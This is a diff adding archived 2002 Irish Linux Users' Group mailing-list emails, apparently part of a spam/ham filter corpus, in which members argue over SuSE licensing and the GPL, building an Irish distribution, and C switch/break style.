+Subject: Re: [ILUG] SUSE 8 disks? (thread changed slightly) +Date: Tue, 13 Aug 2002 00:48:18 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 8bit +X-Originating-Ip: 194.145.131.198 +X-Mailer: Eircom Net CRC Webmail (http://www.eircom.net/) +Organization: Eircom Net (http://www.eircom.net/) +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Rick Moen wrote: + + +> Don't like SuSE's product licensing? Write your own distribution. You +> can even grab most of what you need _from SuSE_. All you have to do is +> heed the licensing terms on the individual pieces. + + +How unimaginably difficult is this to do? +There are as far as I know, no Linux kernel hackers, nor distros that originate from this fair island right? +Right. + +Yes it might be very,very difficult and subject to abject failure +in sticking together a distro.... call it Dolmen Linux (or other), +no doubt the packaging system would be one of the first places + such a suggestion would stumble. +Some (like me) favouring a FreeBSD style ports system others favouring + a Debian style system and others still favouring *rpm style packaging. + +That said other *LUG have done interesting things like making blackbox. + +Perhaps making a distro would be ..... umm.... fun. + +Just a pseudo random thought. + + +I'm only laughing on the outside +My smile is just skin deep +If you could see inside I'm really crying +You might join me for a weep. +<> + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00360.fb2dbe3d751033f3e7b125b20ecdb897 b/bayes/spamham/easy_ham_2/00360.fb2dbe3d751033f3e7b125b20ecdb897 new file mode 100644 index 0000000..e5d70f5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00360.fb2dbe3d751033f3e7b125b20ecdb897 @@ -0,0 +1,216 @@ +From ilug-admin@linux.ie Tue Aug 13 10:28:49 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B7CAC4412A + for ; Tue, 13 Aug 2002 05:21:45 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:21:45 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7CNfmb06779 for + ; Tue, 13 Aug 2002 00:41:48 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id AAA13159; Tue, 13 Aug 2002 00:40:34 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from web13901.mail.yahoo.com (web13901.mail.yahoo.com + [216.136.175.27]) by lugh.tuatha.org (8.9.3/8.9.3) with SMTP id AAA13130 + for ; Tue, 13 Aug 2002 00:40:26 +0100 +Message-Id: <20020812234021.17803.qmail@web13901.mail.yahoo.com> +Received: from [159.134.176.75] by web13901.mail.yahoo.com via HTTP; + Tue, 13 Aug 2002 01:40:21 CEST +Date: Tue, 13 Aug 2002 01:40:21 +0200 (CEST) +From: =?iso-8859-1?q?Paul=20Linehan?= +Subject: Re: [ILUG] SUSE 8 disks? (thread changed slightly) +To: ilug@linux.ie +In-Reply-To: <20020812204603.GK25331@linuxmafia.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-1 +Content-Transfer-Encoding: 8bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + +Rick Moen a écrit: + +> > I'm confused. I thought it was GPL'ed and that +> > the money you paid SuSE was for your 60 day +> > support or whatever? + +> Yes, you're confused. + + +I *_was_* confused. + + +> A Linux distribution (_any_ Linux distribution) +> contains lots and lots of separate codebases. +> Some are under the GNU GPL. Many are not. + + +Indeed - that I actually had understood prior +to all this - for example commercial entities +with trial/limited/crippled editions. + +Which is no problem - I don't see why that should +be a problem for SuSE though - surely the +more the merrrier as far as they're concerned. + + +> Are you clear on this point, now? + + +Vide supra. + + +> This is my second try. + + +Mighty white of you, old bean. + + +> One suspects that you actually understand +> perfectly, but just don't like it. + + +One can suspect what one likes. What I didn't +understand was that SuSE had proprietary +extensions that it wasn't prepared to allow +people to use under the GPL or even under a +FreeBSD style licence. + + +I thought that the model for the likes of +SuSE was selling support and customisation, +rather than what I thought of as the core +"product". I thought that the likes of Yast +came under core - maybe it worked in the glory +days before, say, 2001 - I can understand that +they might want to make more money, but the way +in which they have done it, seems to me, to be +be against the spirit of the GPL. + + +> You're further confused if you think the GNU +> GPL gives you the right to get covered software +> for free. It does not. + +All I want is the OS and GNU apps. I was under +the impression that for *_those_* all one +needed was to pay for the media and not for the +code itself? + +Ai-je tort? + + +> It provides that _if_ you've lawfully received +> a copy of the covered binary version, you have +> rights to also receive the matching source code. + +My understanding was that binaries or whatever +could be received for the cost of the media plus +a token of one's appreciation (the latter being +subject to agreement between the parties) - I was +offering a bottle of wine plus maybe a pint or two +and a chat for a copy - I don't know what the going +rate is. + + +If I wanted support from SuSE, that would be a +different issue, and one for which I would be +willing to pay. + + +> > I don't particularly need support, so I'm +> > no really interested in purchasing a set of +> > disks with 4 billion apps which I'll never use. + + +> Then, if you nonetheless want a SuSE boxed set's +> contents, the only way you can do that without +> copyright violation _and_ without having to pay +> the purchase price is to get someone to _give_ +> (not "lend" or duplicate) you his copy. + + +I have a friend with 7.3 - I think that I'll +end up doing that! + +Seems to me to go against the spirit of +the GPL though. + + +> > Yes, thanks for your input. Anyway, I've a +> > friend with 7.3 pro, so I'll just ask him. + + +> Ask him _what_? If you're asking him to "lend" or +> duplicate his CDs, then you'll be ripping off SuSE +> Linux AG illegally. + + +I have now realised this, thanks to your kind +explanations. I can borrow them, but not +copy them? That's fine - IMHO, it goes against +the spirit of the GPL though. + + +> Don't like SuSE's product licensing? Write your +> own distribution. + + +And why not my own OS, while I'm at it? + + +> You can even grab most of what you need +> _from SuSE_. All you have to do is heed the +> licensing terms on the individual pieces. + + +And, as I've tried to explain, is not the licence +terms on, say, trials for commercial company x +to which I object, it is the way SuSE appears, +at least to my I.T. peasant self, to have +mixed up proprietary and open stuff. + + +> What, you think that's too much work? Then, +> try a different distribution. + + +Hence my "To hell with SuSE" post... + + +> Clue: _Not_ one packaged in a retail +> boxed set. Even RH 7.3 retail boxed sets include +> non-freely redistributable applications on +> the Star office 5.2 CD and the Productivity +> Applications CD, among others. + + +And I have no problem with people sticking trial +editions along with GPL'ed stuff. Why you +can't pass those on though, is beyond me. + + +Paul... + + + + + +___________________________________________________________ +Do You Yahoo!? -- Une adresse @yahoo.fr gratuite et en français ! +Yahoo! Mail : http://fr.mail.yahoo.com + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00361.ebcde1d624e84623713ac6eddff87943 b/bayes/spamham/easy_ham_2/00361.ebcde1d624e84623713ac6eddff87943 new file mode 100644 index 0000000..cd84e6b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00361.ebcde1d624e84623713ac6eddff87943 @@ -0,0 +1,124 @@ +From ilug-admin@linux.ie Tue Aug 13 10:28:55 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4F6DD4412C + for ; Tue, 13 Aug 2002 05:21:50 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:21:50 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7D0kdb11193 for + ; Tue, 13 Aug 2002 01:46:39 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id BAA15703; Tue, 13 Aug 2002 01:45:48 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail2.mail.iol.ie (mail2.mail.iol.ie [194.125.2.193]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id BAA15673 for ; + Tue, 13 Aug 2002 01:45:40 +0100 +Received: from [213.202.164.73] (helo=excalibur.research.wombat.ie) by + mail2.mail.iol.ie with esmtp (Exim 3.35 #1) id 17ePh8-0005lC-00; + Tue, 13 Aug 2002 01:37:59 +0100 +Received: (from kenn@localhost) by excalibur.research.wombat.ie + (8.11.6/8.11.6) id g7D0jbA14622; Tue, 13 Aug 2002 01:45:37 +0100 +Date: Tue, 13 Aug 2002 01:45:37 +0100 +From: Kenn Humborg +To: Paul Linehan +Cc: ilug@linux.ie +Subject: Re: [ILUG] SUSE 8 disks? (thread changed slightly) +Message-Id: <20020813014537.B14435@excalibur.research.wombat.ie> +References: <20020812204603.GK25331@linuxmafia.com> + <20020812234021.17803.qmail@web13901.mail.yahoo.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-1 +Content-Disposition: inline +Content-Transfer-Encoding: 8bit +User-Agent: Mutt/1.2.5.1i +In-Reply-To: <20020812234021.17803.qmail@web13901.mail.yahoo.com>; + from plinehan@yahoo.com on Tue, Aug 13, 2002 at 01:40:21AM +0200 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Tue, Aug 13, 2002 at 01:40:21AM +0200, Paul Linehan wrote: +> +> Rick Moen a écrit: +... +> > You're further confused if you think the GNU +> > GPL gives you the right to get covered software +> > for free. It does not. +> +> All I want is the OS and GNU apps. I was under +> the impression that for *_those_* all one +> needed was to pay for the media and not for the +> code itself? +> +> Ai-je tort? +> +> +> > It provides that _if_ you've lawfully received +> > a copy of the covered binary version, you have +> > rights to also receive the matching source code. +> +> My understanding was that binaries or whatever +> could be received for the cost of the media plus +> a token of one's appreciation (the latter being +> subject to agreement between the parties) - I was +> offering a bottle of wine plus maybe a pint or two +> and a chat for a copy - I don't know what the going +> rate is. + +The GPL makes no stipulations about charging for binaries. +In fact, you can go get the sources for, say, GNU's /bin/true, +compile it yourself and try selling the resulting binary +for EUR 1000. (And, with a good enough sales pitch, you +just might get away with it!) + +However, what the GPL does stipulate is that you must +provide the sources for that binary if asked. So I might +buy it from you for EUR 1000, compile it myself and sell +that binary for EUR 1. Of course, I'll need to provide +the sources to anyone that asks as well. But, I just +might make money at this, since there might be a market of +10000 people who would pay 1 euro for the convenience of +getting a binary. + +But then, John Looney would step in, buy it from me for +1 euro, burn it and the sources and some of his favourite +/bin/true patches on a CD and duplicate it for the cost of +the media or a cream bun, depending on how hungry he is. + +You see, the GPL doesn't force the binaries to be zero-cost +(or cost-of-media), but it puts a really big hole in any +business plan that solely resells GPL software. You _can_ +charge for it if you want, but you bloody well better be +providing some value for that money, or you'll go out of +business faster than a dot-com in 2001. + +And there are real ways to provide this value for money +(convenience of getting it on one CD, convenience of a +friendly installer, convenience of vendor-supplied updates, +convenience of having what lots of other people have, +posting a CD and paying a few euro is cheaper than downloading +over a modem, warm fuzzy feeling of getting something from +a "real" company, etc). + +There will be segments of the market that will pay various +amounts for GPL software and there will be others that don't. +Thankfully, the GPL allows for both, _by_design_. But the +source will always be free (or minimal cost). + +Later, +Kenn + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00362.10247e6e4b5d711a09d7d81c58dcf97c b/bayes/spamham/easy_ham_2/00362.10247e6e4b5d711a09d7d81c58dcf97c new file mode 100644 index 0000000..96ffbbb --- /dev/null +++ b/bayes/spamham/easy_ham_2/00362.10247e6e4b5d711a09d7d81c58dcf97c @@ -0,0 +1,120 @@ +From ilug-admin@linux.ie Tue Aug 13 10:28:55 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 051944412B + for ; Tue, 13 Aug 2002 05:21:49 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:21:49 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7D0OVb10586 for + ; Tue, 13 Aug 2002 01:24:31 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id BAA14853; Tue, 13 Aug 2002 01:23:55 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail2.mail.iol.ie (mail2.mail.iol.ie [194.125.2.193]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id BAA14820 for ; + Tue, 13 Aug 2002 01:23:49 +0100 +Received: from [213.202.164.73] (helo=excalibur.research.wombat.ie) by + mail2.mail.iol.ie with esmtp (Exim 3.35 #1) id 17ePLz-0003Qc-00; + Tue, 13 Aug 2002 01:16:08 +0100 +Received: (from kenn@localhost) by excalibur.research.wombat.ie + (8.11.6/8.11.6) id g7D0Nkd14513; Tue, 13 Aug 2002 01:23:46 +0100 +Date: Tue, 13 Aug 2002 01:23:46 +0100 +From: Kenn Humborg +To: Nick Murtagh +Cc: ilug@linux.ie +Subject: Re: [ILUG] slashdot EW Dijkstra humor +Message-Id: <20020813012346.A14435@excalibur.research.wombat.ie> +References: + <1029179159.9170.14.camel@gemini.windmill> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: <1029179159.9170.14.camel@gemini.windmill>; from nickm@go2.ie + on Mon, Aug 12, 2002 at 08:05:58PM +0100 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Mon, Aug 12, 2002 at 08:05:58PM +0100, Nick Murtagh wrote: +> On Mon, 2002-08-12 at 19:56, Kenn Humborg wrote: +> > Well, you should consider 'break' inside a 'select' statement +> > to be part of the syntax, rather than a control flow modifier. +> +> Why? When it comes down to the assembly level, it gets turned +> into some kind of jump instruction. Should I pretend I don't know +> this when I'm programming? + +I know that. And no, you shouldn't. But see below. + +> > A _mandatory_ part of the syntax, at that. +> +> It's not mandatory. You can leave out the break, and the flow +> of control will continue to the next case. Which can be useful +> in certain circumstances. + +I know that, too. + +However, the discussion was tending towards +"don't use things like goto and break to alter flow of control +in your program". While not valid 100% of the time, it's a +reasonable rule of thumb. The idea is that, when looking at +code, it's easier to see how control moves through a +function if your basic control blocks do all the work. The +specific example of replacing a break in a while loop with +a modified while() expression shows this. You only have to +look in one place to see when you'll run off the end of the +loop, not hunt through the whole loop. (Although that particular +example wasn't really that good, since the extra test was +adding on (... || done) and setting done = true in the loop. +Which is much the same as a break really.) + +The idea is to surprise the next programmer as little as +possible when he sees the code. + +In a similar vein, having a break in every case of a select +block makes the flow much clearer. Flow goes in, zero or +one case blocks are executed and flows comes out the bottom. +Leaving out break statements breaks this assumption. + +My point is that, while there are a few situations where it +makes sense to leave out the breaks, I usually tend to +consider the break at the end of each case more like the +brace at the end of the while block. + +In fact, maybe it wouldn't have been a bad idea if the language +was designed such that the continue statement meant fall through +and break wasn't needed: + + select (x) { + case 1: + /* do something - doesn't fall through */ + case 2: + /* do something - falls through to next case*/ + continue; + case 3: + /* do something - doesn't fall through */ + default: + /* do something - doesn't fall through */ + } + +Still, hindsight and all that. Sigh. + +Later, +Kenn + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00363.2c66a99268facef9c5dab8c1f7b81190 b/bayes/spamham/easy_ham_2/00363.2c66a99268facef9c5dab8c1f7b81190 new file mode 100644 index 0000000..c3058b9 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00363.2c66a99268facef9c5dab8c1f7b81190 @@ -0,0 +1,225 @@ +From ilug-admin@linux.ie Tue Aug 13 10:29:01 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8FAE94406D + for ; Tue, 13 Aug 2002 05:21:54 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:21:54 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7D0sHb11435 for + ; Tue, 13 Aug 2002 01:54:17 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id BAA16245; Tue, 13 Aug 2002 01:53:50 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from linuxmafia.com (linuxmafia.COM [198.144.195.186]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id BAA16217 for ; + Tue, 13 Aug 2002 01:53:42 +0100 +Received: from rick by linuxmafia.com with local (Exim 3.35 #1 (Debian)) + id 17ePwL-0005E3-00 for ; Mon, 12 Aug 2002 17:53:41 -0700 +Date: Mon, 12 Aug 2002 17:53:41 -0700 +To: ilug@linux.ie +Subject: Re: [ILUG] SUSE 8 disks? (thread changed slightly) +Message-Id: <20020813005340.GO25331@linuxmafia.com> +References: <20020812204603.GK25331@linuxmafia.com> + <20020812234021.17803.qmail@web13901.mail.yahoo.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <20020812234021.17803.qmail@web13901.mail.yahoo.com> +User-Agent: Mutt/1.4i +From: Rick Moen +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Paul, my apologies for being irritable on the subject. I'll tone down +the rhetoric. + +Quoting Paul Linehan (plinehan@yahoo.com): + +> Indeed - that I actually had understood prior to all this - for +> example commercial entities with trial/limited/crippled editions. +> +> Which is no problem - I don't see why that should be a problem for +> SuSE though - surely the more the merrrier as far as they're +> concerned. + +Anything either you or I have to say about their motivation is +speculation. Bearing that disclaimer in mind, here's mine: They make +money from selling boxed sets. They're glad to make some versions +available for almost-unrestricted distribution (not "for value") via CD +duplication or the Internet that they estimate won't substitute for +boxed-set sales. + +For example, they _could_ have packaged what I call the "FTP edition" +in ISO9660 images. The fact that they didn't suggests to me that they +see the inconvenience of mirroring FTP Edition i386 files (which, at the +moment, are v. 8.0) as motivation for all but the really determined to +buy boxed sets, instead. + +Likewise, they _could_ release a v. 8.0 (current) version of the +"evaluation" single-disk ISO image. Instead, they always keep it +several versions behind. This again seems like an incentive to buy a +boxed set, after "evaluating" SuSE via the ISO image. + +Again, the above is my speculation (only) about their motivations. All +we know of a certainty is what permissions they've granted, which are a +bit messy and complex, but nonetheless quite clear. + +Those permissions, as a reminder, apply to the SuSE-produced components, +YaST, YaST2, the distribution installer program, and possibly other +utilities that I don't know of. _They_ wrote that code, and have every +right to grant or withhold permissions as suit them best. + +> One can suspect what one likes. What I didn't understand was that SuSE +> had proprietary extensions that it wasn't prepared to allow people to +> use under the GPL or even under a FreeBSD style licence. + +Hmm, let's slow down, here: There's a persistent misconception that +it's possible to place somebody else's work under a new licence without +his permission. Not so. There is nothing in copyright law that would +make that possible. + +The copyright _owner_ has inherent rights in his (e.g., software) work, +and is entitled to issue as many _instances_ of his code under diverse +licences as he wishes. (If he gives you a copy with no licence +statement, there's effectively a default licence by operation of +copyright law. To avoid going into a long digression, let me just say +that it's a proprietary licence by default. That's why, in order to +have open source software at all, there must be an explicit licence +from the copyright holder.) + +No Linux distribution _ever_ entails relicensing people's software +without their explicit permission -- since no such relicensing can occur +at all. + +You cannot get away with taking SuSE Linux AG's work and redistributing +it under what you claim to be a BSD licence, or the GPL, or anything at +all other than what the copyright owner has specified, because you +simply lack the right to do so. Claiming to do it would be copyright +violation. + +> I thought that the model for the likes of SuSE was selling support and +> customisation, rather than what I thought of as the core "product". I +> thought that the likes of Yast came under core - maybe it worked in +> the glory days before, say, 2001 - I can understand that they might +> want to make more money, but the way in which they have done it, seems +> to me, to be be against the spirit of the GPL. + +If Stallman and friends at the GPL (let alone Linus Torvalds and kernel +contributors) had intended to prohibit putting GPLed works on the same +CDs as proprietary ones, and selling the result only via retail stores +(plus mail order, etc.) in shrink-wrapped boxes, I'm 100% certain they +could and would have done so. + +Guess what? They did not. They didn't even require that anybody give +you copies of the GPLed components, ever, at all. All they did was +require that _if_ you received GPLed software lawfully, then you had to +be able to get matching source code for a limited period, upon request. + +Spirit of the GPL, you say? I'd suggest that Stallman and company knew +exactly what they were doing, and that the degree of access to GPLed +software is exactly what they had in mind. + +> All I want is the OS and GNU apps. I was under the impression that for +> *_those_* all one needed was to pay for the media and not for the code +> itself? +> +> Ai-je tort? + +Mais si. + +You are indeed under a misconception, and may want to read the text of +the GPL to verify this fact. The GPL does _not_ entitle you to a copy +of any binary software. Section 2 provides for rights to access to +matching source code _if_ you have lawfully received a copy of a covered +binary. That section provides three alternative mechanisms for the +distributor to provide such access. And SuSE _do_ actually provide +exactly that access. + +Or so I think to be the case. If you believe there's some GPLed +codebase that you can lawfully receive from SuSE whose matching source +code they are not making available exactly as required, please tell us +which codebase that is. (That would be SuSE Linux AG's headache, not +any of ours, but it might be interesting to examine.) + +> My understanding was that binaries or whatever could be received for +> the cost of the media plus a token of one's appreciation (the latter +> being subject to agreement between the parties) - I was offering a +> bottle of wine plus maybe a pint or two and a chat for a copy - I +> don't know what the going rate is. + +Your understanding is almost correct, but not quite. (1) The access +provisions of the GPL concern access to _source code_, not binaries. +(2) It kicks in _only_ for people who've lawfully received covered +binaries. (3) _Covered_ software means instances of codebases actually +placed under the GNU GPL by their copyright owners. The mere act of +placing a piece of software on a CD-ROM with GPLed software doesn't GPL +it. + +In fact, the assertion to the contrary is a favourite FUD tactic from +enemies of Linux: They're forever trying to convince software producers +that using GPLed software in any way with their proprietary offerings +will "taint" their copyrights and force them to put their property under +the GPL. It's simply not so. + +> If I wanted support from SuSE, that would be a different issue, and +> one for which I would be willing to pay. + +That's nice, but they're not _offering_ the exact contents of the boxed +sets free of charge and lawful to duplicate & redistribute, or "borrow". +For one thing, as you will have noticed from my earlier listing of +components, the boxed sets' CD-ROMs include quite a lot of _third-party_ +proprietary software. SuSE Linux AG _cannot_ allow you (or your friend) +to hand out copies of that software freely, because it's not theirs in +the first place. + +> I have a friend with 7.3 - I think that I'll end up doing that! + +If you mean the 3-CD core set of RH 7.3, good. It's a quite decent +distribution. But bear in mind that the RH 7.3 boxed sets include +some other third-party applications whose owners would be very upset to +find them being copied or "borrowed". + +> I have now realised this, thanks to your kind explanations. I can +> borrow them, but not copy them? + +No. + +Look, it's a collection of software, many elements of which may not be +lawfully just given out to multiple people: Your friend installing it, +then _not_ erasing it but merely letting you "borrow" the CDs results in +the product being installed in multiple places. That's unauthorised +copying. + +> And, as I've tried to explain, is not the licence terms on, say, +> trials for commercial company x to which I object, it is the way SuSE +> appears, at least to my I.T. peasant self, to have mixed up +> proprietary and open stuff. + +Well, if you don't like SuSE, then you probably won't like Caldera +eDesk, Xandros Desktop, Lycoris Deskop LX, Libranet, Lindows, or KRUD, +either. Depending on your criteria, you also might not like Red Hat, +Linux-Mandrake, or Yellow Dog, since all of those have boxed-set retail +sets that include CD-ROMs that may not be publicly redistributed. + +(I don't even use SuSE. I'm just trying to clarify the licensing +question.) + +-- +Cheers, Live Faust, die Jung. +Rick Moen +rick@linuxmafia.com + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00364.9bbc4ee844b6b68da661b76671af0222 b/bayes/spamham/easy_ham_2/00364.9bbc4ee844b6b68da661b76671af0222 new file mode 100644 index 0000000..6a25834 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00364.9bbc4ee844b6b68da661b76671af0222 @@ -0,0 +1,96 @@ +From ilug-admin@linux.ie Tue Aug 13 10:29:01 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7B9E143C62 + for ; Tue, 13 Aug 2002 05:21:53 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:21:53 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7D0q6b11398 for + ; Tue, 13 Aug 2002 01:52:06 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id BAA15955; Tue, 13 Aug 2002 01:51:19 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail2.mail.iol.ie (mail2.mail.iol.ie [194.125.2.193]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id BAA15927 for ; + Tue, 13 Aug 2002 01:51:12 +0100 +Received: from [213.202.164.73] (helo=excalibur.research.wombat.ie) by + mail2.mail.iol.ie with esmtp (Exim 3.35 #1) id 17ePmU-000865-00; + Tue, 13 Aug 2002 01:43:31 +0100 +Received: (from kenn@localhost) by excalibur.research.wombat.ie + (8.11.6/8.11.6) id g7D0p9R14688; Tue, 13 Aug 2002 01:51:09 +0100 +Date: Tue, 13 Aug 2002 01:51:09 +0100 +From: Kenn Humborg +To: wintermute +Cc: ilug@linux.ie +Subject: Re: [ILUG] SUSE 8 disks? (thread changed slightly) +Message-Id: <20020813015109.C14435@excalibur.research.wombat.ie> +References: <200208122348.AAA13536@lugh.tuatha.org> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: <200208122348.AAA13536@lugh.tuatha.org>; from cout@eircom.net + on Tue, Aug 13, 2002 at 12:48:18AM +0100 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Tue, Aug 13, 2002 at 12:48:18AM +0100, wintermute wrote: +> Rick Moen wrote: +> +> +> > Don't like SuSE's product licensing? Write your own distribution. You +> > can even grab most of what you need _from SuSE_. All you have to do is +> > heed the licensing terms on the individual pieces. +> +> +> How unimaginably difficult is this to do? + +It shouldn't be too hard. Red Hat, for example, ships with everything +you need to build a modified distribution. And it's all GPL (or free +enough). + +> There are as far as I know, no Linux kernel hackers, + +Ahem. There are more than one. + +> nor distros +> that originate from this fair island right? +> Right. +> +> Yes it might be very,very difficult and subject to abject failure +> in sticking together a distro.... call it Dolmen Linux (or other), +> no doubt the packaging system would be one of the first places +> such a suggestion would stumble. +> Some (like me) favouring a FreeBSD style ports system others favouring +> a Debian style system and others still favouring *rpm style packaging. +> +> That said other *LUG have done interesting things like making blackbox. +> +> Perhaps making a distro would be ..... umm.... fun. + +There was talk of this in the past. Taking a regular distribution like +Red Hat or Debian and tweaking it for Ireland - things like translations, +ISP setups, default bookmarks. + +Never took off. + +Why not try it yourself. + +Later, +Kenn + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00365.9513e5622b7ce3d8a715ce0e31223fb1 b/bayes/spamham/easy_ham_2/00365.9513e5622b7ce3d8a715ce0e31223fb1 new file mode 100644 index 0000000..f1e44fb --- /dev/null +++ b/bayes/spamham/easy_ham_2/00365.9513e5622b7ce3d8a715ce0e31223fb1 @@ -0,0 +1,68 @@ +From ilug-admin@linux.ie Tue Aug 13 10:29:26 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 46C1E43C42 + for ; Tue, 13 Aug 2002 05:21:58 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:21:58 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7D2G4b13444 for + ; Tue, 13 Aug 2002 03:16:04 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id DAA19630; Tue, 13 Aug 2002 03:15:20 +0100 +Received: from hibernia.jakma.org (hibernia.clubi.ie [212.17.32.129]) by + lugh.tuatha.org 